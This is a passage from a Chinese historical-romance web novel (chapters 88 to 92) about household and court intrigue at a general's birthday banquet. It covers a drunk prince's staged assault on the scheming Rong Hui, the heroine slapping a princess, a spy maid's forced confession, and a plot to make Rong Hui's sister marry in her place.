**月眼里的嫌弃都懒得遮掩一下,“也是奇了怪了,像凝玉公主那样的人,会有人着了魔似地对她情根深种。”
“我严重怀疑,叶文瑞前世是盲人,才造就这一世的心盲。”
听**月话里的意思,她与凝玉公主有仇,顺带厌屋及乌,也瞧不上一味热脸贴凝玉公主冷屁股的叶文瑞。
徐慧珠不禁好奇,**月曾不顾自尊,上赶着讨好凝玉公主,当真只为姜夜沉这个男人?
再抬眼,对岸的青袍男子,已不见身影。
徐慧珠目色微沉,叶文瑞心悦凝玉公主?情根深种到能为凝玉公主做任何事情,包括牺牲自己的生命?
**月刚刚提醒她小心凝玉公主,又好心告诉她叶文瑞爱凝玉公主成痴...
“明月妹妹,你喜欢什么样的男子?”越与**月接触,徐慧珠越是确定**月对姜夜沉,并非男女情意。
“我?”
**月看向对岸的儿郎,忽然说一句莫名的话。
“他们都太无趣了,世间真正有趣的男人,该同地窖里的酒酿,年份越久,越醇香清洌。”
这时,金秋急匆匆来禀,“夫人,客院又出事了。”
金秋脸色难看,心里将荣夫人母女三人咒骂一通。
简直晦气。
徐慧珠正要问“出了何事”,就瞧见荣婷跌跌撞撞跑来,“慧珠表姐,不好......不好了,客院闯进一名贼人。”
“荣慧姐姐和丫鬟拖住贼人,让我......我来......来求慧珠表姐救命。”
“慧珠表姐,求你快去客院看看吧。”
一石激起浪花无数。
好奇盖过惧怕。
将军府遭贼光顾?
何方神贼?
荣婷的演技生涩,让人一眼看穿她在说谎。
还是,拙劣的谎言。
“荣婷姑娘,话,想清楚再说。”徐慧珠立马冷脸。
“莫说将军府里外日常有护卫巡逻,今日是将军的生辰宴,皇恩浩荡由内务府操办,来往皆是贵人,外有禁卫军,内有锦衣卫......”
“寻常贼人不可能混入将军府,除非这贼人长得三头六臂,还有遁天入地的本事。”
“如何可能?”
荣婷本就不擅长说
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谎,小脸涨得通红,又急又慌又怕之下,吓得昏厥。
众人:......
胆子这么弱的小娇娘,还好意思跑出来?
这闹的是哪一出?
登台唱戏的角,开场就唱得莫名其妙,让人云里雾里,不懂其意。
“慧珠,我陪你去客院看看,毕竟客院住着荣夫人......”襄王妃说道。
“是,您说得在理,不管怎样,还是去亲眼瞧瞧,方可安心。”徐慧珠不能拒绝襄王妃的提议。
“那就去看看。”
“本宫倒想看看何人不要命了,敢在姜夜沉的生辰宴上放肆?”
“是不将皇上的旨意放在眼里吗?哼!”
元乐长公主一锤定音。
元乐长公主和襄王妃都去了,贵人们自得相随。
将军府是否进了贼人?
眼见为实。
再说,将军府的八卦,难得遇上,不吃一口,实在对不住自个儿的好奇心。
而且,有人敢在姜夜沉的生辰宴上搞事,不管是冲徐慧珠,还是意指姜夜沉......姜夜沉会如何应对?
后宅发生的事情,大福已悄悄禀告姜夜沉。
“随夫人处置。”
他有信心徐慧珠能妥善解决。
他特意为她请来元乐长公主和襄王妃这两位左右**,自是不会让她受分寸委屈的。
客院里。
谨郡王的护卫蕴泽执长剑站在门口守着,一众伺候奴仆跪在院子里,吓得瑟瑟发抖。
屋内,醉酒**分的谨郡王正粗暴地撕扯荣慧的衣裙。
嘶啦。
荣慧尖叫声连连。
可惜,她只有一双手,捂得住胸前,顾不住腹下......奈何她一个弱女子如何反抗得了男人的力量。
可气的是,床榻上躺着荣夫人,假意装死,实则幸灾乐祸。
痛,唯有落在自个儿身上,方能感受真切。
荣夫人万万没想到,荣慧为达目的竟冲她出手不说,使出的手段狠厉毒辣。
意欲要她的命?
反正,她日日服用安神汤药镇痛,今日这药效更持久些。
她醒不来。
当然,就算她醒过来,腰骨受伤,也动弹不得,张口训斥威胁贼人几句,不过徒劳罢了。
哈哈哈......
第088章:奉将军为天,听将军的话
荣夫人眯了眯眼睛,不情不愿地闭上,她好想仰天长啸,高呼:报应不爽啊。
“啊啊啊!”
荣慧早已吓得花容失色,方寸大乱。
她如何也想不通,她的计划还未实施,怎么客院里突然闯入醉酒男人,直奔向她,欲行不轨之事。
谁在害她?
徐桂珍吗?
不,那个老女人有胆,但不多。
荣婷吗?
不,只会哭哭啼啼的蠢货,她不敢,亦无智商。
大抵是徐桂珍作恶多端,生出的女儿却干净如纸、胆小如鼠、蠢笨如猪。
徐慧珠吗?
极有可能。
可,今日是姜夜沉的生辰宴,如果姜夜沉知道真相,定会动怒。
“你......你是谁?”
“这里是将军府,我......我是姜夜沉的女人,你敢......敢动我,姜夜沉会将你**万段。”
“你......你即刻离开,我......我会装作什么都没发生,亦不会向姜夜沉揭发你。”
“至于这满院子奴仆,我......我会灭口,你......你放心离开便是。”
荣慧贴着墙壁,强撑着发软颤抖的身子,迅速思量脱身之法。
她只得先搬出姜夜沉来试探......
跪在院子里的奴仆,一个个身子抖成落叶,心里恨**荣慧。
此刻,就是蕴泽不执剑威胁,怕也是无一人施救。
奴仆命贱,也生有心。
会惧怕,也会心寒。
“话多!”
醉酒男子抓起撕碎的布料,凑到鼻间闻了闻。
“销魂香,呵,好东西,本王喜欢。”
“本王......醉了。”
荣慧瞪大眼睛,怎么......怎么是一位王爷?他......他还能认得出销魂香。
“姜夜沉的女人呀?”
醉酒男子扔掉手里的布料,盯着荣慧,接着爆发大笑。
哈哈哈......
“不能人道的姜夜沉!”醉酒男人的眼里盛满恶意,“姜夜沉不能人道,他的女人却在身上涂抹销魂香,哈哈哈......不就是趁宴会一支红杏出墙去。”
“来啊,本王帮你。”
“不不不,本王帮的是姜夜沉。”
“哈哈哈......”
醉酒男人狞笑着扑向荣慧,只是他醉得厉害,歪了准头不说,又受销魂香刺激,胃里翻江倒海,呕吐污秽。
好巧不巧,吐了荣慧一身。
这回,荣慧的尖叫响彻客院。
“啊......”
蕴泽面上冷漠,心里叹息:郡王这一番牺牲颇大,此情此景,不呕吐才怪,真真是辛苦了郡王。
就是不知,郡王一心为那人,做到如此地步,可值得?
答案是肯定的。
不值得啊。
“蕴泽,怎么是你?”
“这是做什么?”
“还不收起长剑,滚开!”
元乐长公主怒呵道。
还有什么可说的,贼人就是谨郡王,此刻正在屋内行恶。
且听屋内女子的尖叫声,便是了。
这......
这到底唱的是哪一出戏?
“是。”蕴泽恭敬退到一边,连阻拦的话,一句也不敢说出口。
众人你看我,我看你,同样疑惑。
再看徐慧珠,身为将军府暂且的“女主人”,同脸疑惑震惊。
徐慧珠命金夏推开门,看到的就是这一副场景。
一时忘记反应。
众人亦然。
“金夏,速去大厨房为谨郡王端一碗醒酒汤,再去请普神医来一趟,再去请将军和襄王。”
徐慧珠一溜串吩咐下去。
谨郡王乃皇族,如今出了这等事,到底是醉酒失态,还是旁的原因。
襄王是宗人正,必须在场。
“徐夫人?”
哪知,凝玉公主忽然冒头,“本宫算是涨了见识,徐夫人打理将军府后宅,用的花样让人费解啊。”
“送美人儿给谨郡王?”
“不知,徐夫人还准备了多少美人儿,下一个又送给哪位大人物?”
不得不说,凝玉公主的想法奇特。
凝玉公主尊贵的嘴巴一张一合,硬是把这破事强安在徐慧珠的身上。
“凝玉公主谬赞,臣妇何德何能。”徐慧珠云淡风轻,并不担忧自己被栽赃嫁祸。
“凝玉,不得胡言乱语。”
元乐长公主禁不住皱眉,凝玉公主随性胡闹,也不看看什么脏水,想也不想就泼向徐慧珠。
幼稚又可笑。
她得入宫同皇兄好生说道说道,再不下力下势整顿那些脑袋长到脚底板的皇族小辈,李氏皇族的脸面丢到大
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街上去了。
“皇姑母,我哪里胡说了,听闻这位荣慧姑娘是徐夫人的娘家表妹,刚刚人家吵着闹着说自己是姜夜沉的女人呢。”
“该不是徐夫人将娘家表妹送给姜夜沉,可惜,姜夜沉享用不得,又或者不喜。”
“徐夫人便命娘家表妹趁谨郡王醉酒,行勾引之事......”
“反正今儿不是勾引谨郡王,也会是旁的男人,终归得勾引一个,不是吗?”
“至于徐夫人心里怎么想的,又有什么不可告人的目的,唯有徐夫人自个儿心里清楚。”
凝玉公主心里窝着一股无名邪火,她好不容易出宫一趟,原本已有计划,却被半路截胡,不气不怒才怪。
蠢货,一个个成事不足败事有余。
净坏她的好事。
她就胡说了。
谁能奈她何?
啪。
啪。
“我家将军说了,谁敢无端造谣或污蔑他,甭管对方是男是女、是老是少,先抽两大嘴巴子,让这人明白,祸从口出的道理。”
“我家将军说了,人嘛,贵在拥有自知之明。长了一张乱喷污秽的嘴,就该闭紧嘴巴,自个儿咽下污秽,才是......为人本分和觉悟。”
“我家将军还说了,如若不服,请这人同将军理论,再不成,入宫到皇上面前分辨对错。”
徐慧珠打完,立马行跪礼解释,态度恭敬柔顺,仿佛刚刚动手的人。
不是她。
“凝玉公主大**量,莫要怪罪才是,臣妇......臣妇嫁给将军,自是奉将军为天,听将军的话。”
“凝玉公主您贵体受痛,贵心不悦,不如......寻将军说理去。”
众人:还能这样......回击?
论胡说,徐慧珠更胜一筹。
论仗势欺人,徐慧珠胆大不差。
两回殴打凝玉公主,徐慧珠这是要逆天吗?
她不觉得脖子凉飕飕的吗?
皇家公主说打就打,打了第一回,还打第二回,怎么,会有第三回、第四回不成?
徐慧珠此举也是告诉旁人,谁敢对付她,她就敢狠狠还击,出了事,闯了祸,一句“我听将军的话,将军让我怎么做我就怎么做”轻飘飘解释?
妄图翻篇?
“徐-慧-珠!”凝玉公主气炸了,“**!**!”
第089章:本宫当年也是叱咤风云的女将军
凝玉公主的第一反应,是要打回去。
可......可徐慧珠实在狡猾,她抽完凝玉公主的嘴巴子,迅速后退三四步,接着下跪解释,然后起身躲到元乐长公主的身后。
等凝玉公主回过神,徐慧珠行完了礼,说完了话,人已进了元乐长公主的安全圈。
这......算怎么回事?
新仇旧恨集聚于心,凝玉公主出宫前做的所有心理建设,在见到徐慧珠之后,功亏于溃,化为乌有。
她气啊。
她恨啊。
“凝玉公主,臣妇......好为难啊。”
徐慧珠“唉叹”一声,“凝玉公主,您让臣妇说什么好,臣妇不愿再打您了,臣妇的手不怕疼,但您的贵脸受疼啊。”
“可您又骂臣妇......**,臣妇已嫁给将军,若臣妇是**,那将军是什么?”
“将军不也成了您口中的**?”
“唉,凝玉公主,当初毁亲的是您,闹亲的也是您,如今一口一声骂将军是**的还是您......敢情这天下的道理,都由您来讲?敢情这世间的黑白,都任您颠倒?”
反正,不管凝玉公主说什么,徐慧珠故意把火烧到姜夜沉的身上去。
她只差当众嚎一嗓子:本夫人仗天仗地仗将军的势。
凝玉公主再一回说不过徐慧珠,在场贵人众多,可人家元乐长公主和襄王妃都明着偏向徐慧珠,旁人如何敢多嘴。
得罪襄王妃,事大。
得罪元乐长公主,事更大。
“**!**!**!”凝玉公主连骂三句**,骂的是徐慧珠,伤得却是自己。
“凝玉,你是皇家公主!”
很明显,元乐长公主信了徐慧珠的话。
她偏帮姜夜沉,不仅仅是欣赏姜夜沉,也不仅仅是皇帝的命令,还因为那人。
那人的血脉,自是要护着的。
如同她的血脉。
不然,她这余生还有什么乐趣,还有什么执念。
“皇姑母,您......您的心同父皇一样,也是偏得没边没际?”
“皇姑母,难道您老眼昏花,看不见刚刚是徐慧珠那个**打了我。”
“打了我啊。我......我是尊贵无双的皇家公主,她徐慧珠是什么人?卑贱的、上不得台面的妾啊。”
“皇姑母,您......您不该命人绑了徐慧珠,当场剁了她的贱手吗?”
“皇姑母,您......您竟然是非不分,不帮自家人,却帮着外人欺辱于我。”
凝玉公主想不明白,父皇偏袒姜夜沉,元乐长公主偏袒徐慧珠。
同样毫无原则式偏袒。
这一刻,凝玉公主真真切切体会到太子受到的欺辱。
平日里,凝玉公主惧怕元乐长公主,但此刻,她心里的怒火、委屈已完全盖住惧怕。
“放肆!”
元乐长公主果断补充一巴掌,呼在凝玉公主的脸上。
她在北疆军营从军十年,当年也是叱咤风云的女将军,陪皇帝打江山守国土,早已养成雷厉风行的性格。
“皇后都不敢这么跟本宫说话,凝玉,谁给你的胆子?”
元乐长公主的身上染上冰冷的萧杀之气,她在京城生活久了,久到世人渐渐忘记她元乐将军的威严。
“皇......皇姑母?”凝玉公主身子发软,抖个不停。
她这会儿又怕了。
“皇嫂,你留下帮衬徐夫人,本宫亲自送凝玉回宫,顺道多嘴问一句皇后娘娘,教导公主规矩的礼仪先生,是不是只拿俸禄不干活,连皇上都敢糊弄。”
“欺君之罪,本宫倒要看看,谁敢?”
也就元乐长公主有底气有胆量“大放厥词”,至少,襄王妃万万不敢的。
元乐长公主明面上怪罪礼仪先生,实则指桑骂槐,说皇后娘娘教导无能。
而且,元乐长公主叫襄王妃“皇嫂”,却叫皇后“皇后娘娘”,可论亲疏,皇后才是元乐长公主正儿八经的皇嫂。
“放心,这里有我。”
襄王妃本就同元乐长公主交好,“谨郡王之事查清缘由后,我会派人到公主府说一声。”
徐慧珠任由元乐长公主安排,心中倍感温暖。
她看了一眼凝玉公主,心下难免觉得奇怪,凝玉公主今日走这一趟将军府,明面上为送礼而来,暗里应该是要做点儿什么坏事,才符合她的性情。
但,事实是,凝玉公主什么都没做成,如今被元乐
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长公主亲自“押送”回宫,等待凝玉公主的必定是皇帝的怒火。
至于她打凝玉公主的事情,相信在元乐长公主一番说辞之后,凝玉公主从受委屈变成无理取闹。
不,应该说,是凝玉公主咎由自取。
凝玉公主的靠山,是皇族公主的高贵身份,是母为皇后,父为皇帝。
徐慧珠的靠山,是姜夜沉。
姜夜沉的靠山,却是皇帝。
也就是说,闹到最后,是皇帝一人的较量。
皇帝的心,倾斜凝玉公主?还是偏袒姜夜沉?
这时,姜夜沉和襄王来到客院,无需徐慧珠开口,襄王妃将客院发生的事情如实叙述。
“襄王妃,劳烦招呼宾客入席,客院的事情,本将军亲自解决。”
“慧珠留下。”
众人:吃瓜吃到一半,姜夜沉不给吃了,可再美味佳肴的席面,也比不过今日新鲜生产的大瓜,将军好残忍好冷漠好无情......好不解风情。
“诸位,请随我来。”
襄王妃端庄得体,立马转移话题到今日宴会的菜式,“徐夫人蕙心兰质,请了春风酒楼的大厨,还提前向我请教名单上宾客的喜好,皇上还专门赏赐了桃花酿......”
众人:不想走啊。
不过,襄王妃说得再好,也比不过姜夜沉说的“情话”:“夫人今日说得在理,做得极好,值得为夫嘉奖。”
这便是撑腰了。
“将军教的好。”
徐慧珠大方回应,“将军是我的夫君,我自该听将军的话,处处为将军着想。”
众人:......
姜夜沉敢夸,徐慧珠敢应,旁人能说什么?
这两位?
世间极品......夫妻。
姜夜沉的目光扫射而过,冷冰冰开口,“蕴泽,你来说。”
蕴泽跪在地上,低着头,不敢与姜夜沉对视。
这里是姜夜沉的将军府,轮不到谨郡王撒野,更轮不到他一介小小护卫放肆。
但,谨郡王是他的主子,主子的命令,他不敢不从。
“回禀将军,谨郡王醉酒,本欲去客房小歇片刻,路过客院时,瞧见荣慧姑娘的身影,像极逝去的郡王妃......”
第090章:谨郡王厌女成病
荣慧像极了郡王妃?
一个亡人?
谨郡王贪色,却拿亡人当借口。
就不怕夜半时分,那位郡王妃从棺材里爬出来,吐谨郡王一脸口水。
这时,大福来禀,“谨郡王已服用醒酒汤,普神医看诊过,醉意散去三四分。”
金夏从另一间房子走出来,“回禀夫人,奴婢已伺候荣慧姑娘服下安神汤药,刚刚入睡。”
“普神医说,荣慧姑娘心神受到刺激,身体无碍。”
屋内。
荣夫人适时清醒,刚刚得知事情经过。
确切的说,荣夫人有幸成为事情经过的见证者。
但,这个秘密,她得烂在肚子里。
荣慧是个心狠手辣的毒女,她得顾着自己,又得护着荣婷,暂且不能招惹荣慧。
眉县荣家费尽心思想要重回京城,攀附上谨郡王倒也是一条极好的出路。
荣夫人心里偷着乐的是,荣慧嫁给谨郡王,那荣婷的机会不就来了。
荣婷的心计和容貌比不过荣慧,但哪个男人能容忍枕边人是个手段下作狠厉的毒物,像荣婷这般单纯干净的白莲花,更合乎男人的心意吧。
荣夫人相信,姜夜沉也不会例外。
万一......万一荣婷傻人有傻福,入得姜夜沉的眼,进得姜夜沉的心。
她,不就成姜夜沉的岳母了。
如此,美事一桩。
“这......这?”荣夫人假装震惊,“怎么就发生这种事?”
此时,面对襄王询问,谨郡王梗着脖子说道,“窈窕淑女君子好逑,本郡王对荣慧姑娘一见钟情,一时情动......不行吗?”
“男人嘛,哪个不犯错。”
襄王被怼到一时语塞。
徐慧珠:呵呵!若不是提前知晓谨郡王早有意中人,差点就信了呢。
万万没想到,谨郡王也是演戏老手,就是不知,他今日跑到将军府演这一出自毁声誉、拼上亲事的大戏,到底图谋什么?
怎么看,于谨郡王来说,百害无一利。
“荣夫人,荣慧姑娘五分相似先郡王妃,便说明荣慧姑娘是本郡王注定的情缘。”
“今日之事,本郡王醉酒为过,做得不大体面,还请荣夫人原谅则个。”
谨郡王向荣夫人行礼,足够诚意。
“罢了罢了,是荣慧的命,也是谨郡王和荣慧命中注定的一段情缘,天命......不可违啊。”
荣夫人自是不敢在谨郡王面前端着架子。
醉酒加误会,促成一场意外。
好消息是,谨郡王因醉酒未能成事。
坏消息是,谨郡王撕烂人家姑娘的衣裙,看光人家姑娘的身子。
或许,也摸过了。
这责,谨郡王得负。
这亏,荣慧得吃下去。
不,应该说,这便宜,荣慧得占。
结果就是,谨郡王得娶,荣慧得嫁,姜夜沉稀里糊涂当了一回月老,牵线一桩姻缘。
毕竟,事情发生在将军府。
京城之中,世家大族时常举办宴会,“意外”时有发生,见得多了,再离谱实属正常。
好在,姜夜沉的生辰宴只出了谨郡王这一档意外,余下宾尽主欢。
夜里。
徐慧珠不累,她还有精力查看礼单,看到李氏送的贺礼,一小箱现银,足足五千两。
徐慧珠的嘴角禁不住扬起一抹笑容,只怕送现银这主意,又是出自**月。
她不过问徐从德要了尚书府五成家财的嫁妆,就给李氏母女落得贪财的印象?
“将军是不是也觉得,我这位继母十分有意思,可惜了,一朵鲜花蹭在牛粪上。”
徐慧珠这话说得实属刻薄,又大逆不道。
若传出去,世人怕是会一边向她扔臭鸡蛋,一边戳她的额头,骂她乃忤逆不孝的罪恶典范。
“慧珠命好,一朵鲜花种在我这片肥沃的土地上。”姜夜沉擅长接话,懂得讨女人欢心,字字句句说到人的心坎里。
“是呀,将军是一片肥沃的土地。”
徐慧珠夸得敷衍,再肥沃的土地有何用,长不出庄稼。
会饿**的。
转到正题。
“将军,今日这局是你设的?”
“嗯。”姜夜沉心中一热,话已说出口,“夫人瞧着可有趣?”
“谨郡王走襄王的路子,求到我的面前,盼我能向皇上进言,提前解了太子的禁足。”
“太子大抵急了慌了,明知谨郡王的不良心思,也执拗欠下谨郡王的情。”
“殊不知,这世上,情债最难
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偿还。”
原来如此。
“所以,将军便随口提出一个条件,让谨郡王自己恶心自己。”
“谨郡王厌女成病,荣慧心怀鬼胎,将这毫无干系的两人凑成对,愿他们擦出情爱的火花......”
“夫人安心否?”
也就是姜夜沉的脑袋,能想出这般刁钻的妙计。
擦出情爱的火花?
只怕是死亡的火花吧。
大福站在门外,好想插一句嘴:如此妙计,也有他一半功劳苦劳。
将军说了,对付什么样的人,就得用什么样的计策。
谨郡王此人,只配得上这么损的招数。
“是,我心已安。”徐慧珠感动道。
荣慧心计厉害又不安分,荣夫人忽然伤到腰骨,这番苦肉计不是荣夫人自找苦吃,就是荣慧刻意算计。
姜夜沉担心徐慧珠吃亏,亲自出手设计谨郡王,也替徐慧珠清除麻烦。
荣慧,的确是一个不小的麻烦。
姜夜沉说,“本将军不慎招惹一朵烂桃花,实在烦不胜烦,又怕夫人气恼。不若谨郡王好心替本将军笑纳这朵烂桃花......”
求人,自然得有求人的姿态,也得有求人的诚意。
这不,姜夜沉看到了谨郡王的诚意。
令他满意。
“想必父亲很快就会听说谨郡王和荣慧一见钟情、两情相悦,不知,父亲的心情如何?是不好,还是非常不好......”
“托将军的福,我的心情很美妙。”
徐从德精明成性,他忽然改变主意,为荣慧说话,似是存了与荣慧互惠互利的心思。
徐慧珠顺势而为,也是打算先稳住荣慧,行一步且看一步,看看荣慧想要搅动何等风浪。
再说,太子陪伴菩萨那么久,是时候走出东宫,比如去宗人府看望华山王,再去锦衣卫诏狱看望坞国的察尔通王子和夏尔花郡王。
叙叙旧嘛。
谨郡王也在等太子和他叙旧,倘若太子言而无信,不知,谨郡王伤心过后,会做什么?
“凝玉公主今日来将军府......”徐慧珠总觉得自己没能抓住一些重要讯息。
姜夜沉起身,牵住徐慧珠的手,说道,“我带你去见一个人,你便清楚了。”
第091章:那人的秘密,丑陋又恶心
徐慧珠如此敏感聪慧,那么,有些事情也无需隐瞒。
只是,被亲人一再算计,到底会受伤,会难过,姜夜沉舍不得。
“是你?”
“你是荣慧身边的奴婢夜莺。”
徐慧珠稍有惊讶,但不多。
“将军,荣慧还做了什么?”
看来,她的直觉极准。
荣慧赖在将军府,等的就是姜夜沉的生辰宴。
贵人**,若荣慧图谋之事成功,便有现成的人证。
“夜莺,你来说,说说你的主子私下都干了些什么。”
大福抡起鞭子,抽在夜莺的身上。
怜香惜玉?
落在大福手里的犯人,从不分男女。
敢害将军的人,连人都不是。
“啊......”
夜莺费力地睁开眼睛,看了一眼徐慧珠,心里鄙夷,容貌和身段皆平平无奇的女子,如何配得上杀神姜夜沉。
可见,姜夜沉看女人的眼光,不怎么好。
主子明明已经许诺,待事成,就赐她机会。
一个长长久久留在杀神身边的机会。
为此,她不惜背叛原主,认了新主。
直到她被大福抓住,扔进暗室里,受尽刑具折磨。
她的身体,没有一块完好的皮肤。
她的骨头,快要碎成渣。
此刻的她,已是血人。
活,是活不成。
唯求大福给她一个痛快的死法。
她终于清醒,原主和新主都错了,大错特错。
她也是异想天开,错把对杀神的敬仰当作情爱。
他们,都是一个个笑话。
“我......我都招认了,还要......还要怎样?杀......杀了我啊。”
绝望和愤怒袭来,夜莺拼尽最后一丝力气咆哮。
“夫人想听,夜莺,你再说一遍,本将军便放你**。”
姜夜沉的声音,冷漠到让夜莺禁不住打颤。
她,是姜夜沉取悦徐慧珠的玩意儿吗?
也好,放她**,她就当作他对她的一抹温情吧。
如此,也成全了自己不该生出的贪念、执念。
“我是察尔通王子的暗卫,受命保护也是监视荣慧,不,是户部尚书府三小姐徐云晗......”
客院里。
荣慧醒来的第一件事,就是从床榻上爬起来,顾不得穿鞋袜,捧住痰盂一阵狂吐。
呕......
她觉得空气里还弥漫污秽物的酸臭气味,令她几欲窒息。
“来人,我要沐浴更衣,我要换一个房间。”
半个时辰后,皮肤搓得发红,身上涂抹香露,又在屋里点燃熏香......荣慧觉得自己重新活了过来,脑袋才一点一点回归清醒。
“夜莺?”荣慧这才想起夜莺,若不是夜莺失责,她怎会受谨郡王的欺辱。
“贱婢。”荣慧咒骂着夜莺,人已踏入荣夫人的房间。
“慧......慧姐姐?”荣婷赶忙起身相迎,不知为何,她心里十分惧怕荣慧这个长姐,仿佛荣慧是长得一只血盆大口的食人花,稍有生气,便会张开血盆大口,一口吃掉她。
“慧......慧姐姐可感觉好些了?要不要再请普神医......”
荣婷好心表达关怀,可这些话入了荣慧的耳朵,格外刺耳。
“荣婷妹妹很闲?”
“母亲难道没教导过你,贵女修养守则之一,就是不能话多。”
荣慧一向懒得理会荣婷,奈何她今日过得糟糕,荣婷要是会看眼色,就该紧闭嘴巴,滚出去。
“慧......慧姐姐?”荣婷吓得无措,大大的眼睛里蓄满晶莹。
“滚!”荣慧瞪了一眼,“滚回你的房间哭去。”
“呜呜呜......”荣婷捂着嘴巴,哭着跑出去。
徐桂珍精明半生,却生出荣婷这样的女儿,就是报应。
“荣慧?”徐桂珍只恨自己伤到腰骨,不能拥女儿入怀,好生安抚。
“荣慧,你太过分了,莫忘记你的身份,你现在是眉县荣家嫡长女-荣慧,荣婷是你的妹妹,眉县荣家才是你的依靠。”
“一府姐妹,一荣俱荣一损俱损的道理,还用得着我说吗?”
“再说,你如此轻视荣婷,焉知正是荣婷纯净善良的品质,极有可能入得某位贵人的眼。日后同在京城,姐妹之间互相帮衬......”
徐桂珍死死压制心里的怒气,荣慧心狠手辣,她背后的势力也得罪不起,如今又攀附上谨郡王......
活到徐桂珍这个年纪,有些事,会逼着自己看开。
在荣慧得势之时,徐桂珍便忍着让着捧着。
待荣慧失势之时,徐桂珍定会头一个伸出脚,踩到荣慧的胸口,活生生将荣慧踩断气。
“
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母亲,你已年老色衰,不适合再做美梦。”荣慧眼里尽是不屑,也就徐桂珍觉得自己生下的女儿千好万好,她当然听出徐桂珍话里话外的意思。
某位贵人是谁?
姜夜沉。
可笑至极。
痴心妄想。
她得不到的珍宝,会拱手相让给荣婷那个蠢货?
姜夜沉,是她的,是她该拥有的。
她沉浸于争夺姜夜沉的过程,享受这其中的艰难困苦。
不,她一点儿都不觉得苦,也不觉得痛。
如蜜,甜在心间。
“荣慧,你?”
徐桂珍岔开话题,“荣慧,依你所见,今日发生的事情,是意外?还是有人布局?”
徐桂珍主动提说,也是向荣慧表明,谨郡王醉酒闯入客院一事,意外也好,布局也罢。
与她无关。
荣慧大可不必迁怒到她和荣婷的身上。
“其实,谨郡王......也还不错。”
“当然,若论能力和容貌,谨郡王逊色于姜夜沉。”
“若论身份,谨郡王才是血脉正统的皇族。”
“荣慧,你嫁过去,就是能上皇家玉牒的郡王妃。”
“以你的手段,轻松笼络主谨郡王的身和心......”
徐桂珍越说越起劲,她自信说得在理,也算将道理掰开了揉碎了讲给荣慧听。
她处处为荣慧的利益考虑,不图荣慧心存感激,只盼荣慧听得进去。
安生嫁了。
“哦?”
荣慧冷笑道,“母亲当真觉得谨郡王......极好?”
“我来寻母亲,便是告诉母亲一声,由荣婷替嫁,嫁给谨郡王,做尊贵的郡王妃。”
“可......可?”徐桂珍一时无措。
替嫁?
先莫说荣婷是否同意,谨郡王怎会同意?难道荣慧能做得谨郡王的主?
荣慧知晓徐桂珍心中所想所忧,冷静开口,“我来,是告知母亲一声,我的决定。”
“母亲明日便去信眉县荣家,请父亲来京城一趟,面见谨郡王,商定婚期。”
“旁的事情,母亲不必操心,可以开始为荣婷妹妹准备嫁妆了。”
至于如何说服谨郡王,若是说服不了,她不介意威胁一回。
想必谨郡王也不愿将自己的秘密,曝光于阳光下。
谨郡王的秘密,丑陋又恶心......
第092章:求将军疼惜小女子
替嫁一事,无需荣婷同意。
荣婷亦无资格提前知情。
待荣婷嫁给谨郡王,或孤独枯萎终老,或哪日发现谨郡王的隐秘,然后**人灭口......都是荣婷的命。
与她何干。
“我最后一次提醒母亲,莫再教唆荣婷去勾引姜夜沉,她不配。”
“而且,我的眼里,容不得一粒沙子。”
荣慧说完,转身离开。
待走到门口,回头问道,“母亲今日可见着夜莺?”
“啊?”徐桂珍还未回过神,“夜莺?”
“我......我没看见。”
又想起什么,多余加一句,“荣婷应该也没看见夜莺。”
其实,徐桂珍心里想说:她又不是管家,为荣慧看管奴婢的,哼!
荣慧神色倨傲,不屑再与徐桂珍浪费唇舌。
眼下,她还有更重要的事情需要解决。
她得悄悄走一趟郡王府,说服谨郡王,并由谨郡王出面解释,重点向姜夜沉解释,他醉酒为实,误闯客院亦为实,错将荣婷认作亡妻也为实。
是荣婷。
而不是荣慧。
这才是真相。
荣慧沉浸在自己编织的梦里,封闭在自以为是的世界里,她的认知,她的想法,非常人所能理解。
姜夜沉亲眼所见,才为实。
旁人看见听到,皆为虚。
她被谨郡王堵在房内,撕烂衣裙,看光身子......如此种种,姜夜沉亲眼看见了吗?
不,姜夜沉并未看见。
她不认。
就为虚。
就是假的。
遗憾的是,就是医术高明的普神医也治不好荣慧的精神疾病。
病,侵害神经,药石无灵。
何况,荣慧绝不会承认,自己病了,也疯了。
荣慧刚出房门,一眼就瞧见姜夜沉。
“将军?”荣慧藏不住眼里的欢喜,“小女子荣慧请将军安好。”
她就是心盲眼瞎,视徐慧珠为无物,恨不得时间就此停滞,她能将徐慧珠这个碍事又讨厌的人推开,与姜夜沉并肩而立。
徐慧珠偏不如荣慧的意,“荣慧姑娘可是生了......眼疾?还是荣家不会教导女儿规矩?”
面对徐慧珠突然又莫名的发难,荣慧眼圈发红,一副迷茫又委屈可怜的模样看向姜夜沉。
“将军明鉴,我不知何时、为何惹得慧珠表姐不快,被慧珠表姐无缘无故责骂......呜呜呜。”
上眼药,当面上的效果更佳。
“荣家女儿确实不懂规矩。”
姜夜沉一脸冷漠,生怕荣慧扑倒他似的,往徐慧珠身边贴近了些。
这一幕,灼伤了荣慧的眼。
那么,接下来姜夜沉的一番话,刺痛了荣慧的心。
“见着本将军的夫人,连行礼都不会?这便是荣慧姑娘的好教养?”
姜夜沉转身入了厅堂,“大福,请荣慧姑娘进来。”
厅堂里,姜夜沉和徐慧珠双双坐着,荣慧站着,竟无人招呼一句“荣慧姑娘你也坐。”
不,还有大福和金夏也站着。
可,他们都是身份低贱的奴,她是贵女,本就是天壤之别的差距,有何可比性。
更可气的是,刚坐定,姜夜沉殷勤地为徐慧珠倒茶,还递到徐慧珠的手里。
徐慧珠的手,断了不成?
荣慧复杂的心里戏,旁人不知。
不过,很快,荣慧就顾不上在心里咒骂徐慧珠。
“将军?”荣慧仍不死心,眼巴巴地瞅着姜夜沉,委屈巴巴地开口。
“请问将军,您找我,有事说吗?”
“将军若有事直说便是,只要是我能做到的,定为将军尽心尽力。”
其实,这也怪不得荣慧着急表现,她赖在将军府的这些日子,却难以见到姜夜沉。
这回,好不容易见面,她恨不能放弃该死的自尊和矜持,直接扑到姜夜沉的怀里,说一句:求将军疼惜小女子。
徐慧珠烦死荣慧了,姜夜沉招惹的桃花不少,就属眼前这朵桃花最烂最无耻最下作。
所有贬义词语形容荣慧,都不够。
不,还有一朵极品烂桃花,凝玉公主。
想到这里,徐慧珠禁不住看向姜夜沉,目含同情。
“荣慧姑娘,听说,你私下向凝玉公主献计,于将军的生辰宴上,曝光我耐不住后宅寂寞,欲一支红杏出墙去的丑闻,而出墙的对象是叶侯府世子叶文瑞。”
徐慧珠开门见山,先扔出一枚重磅**。
且看,炸得荣慧晕不晕。
明明是她和荣慧说话,奈何荣慧视她为无物,当着她的面,勾引她的男人。
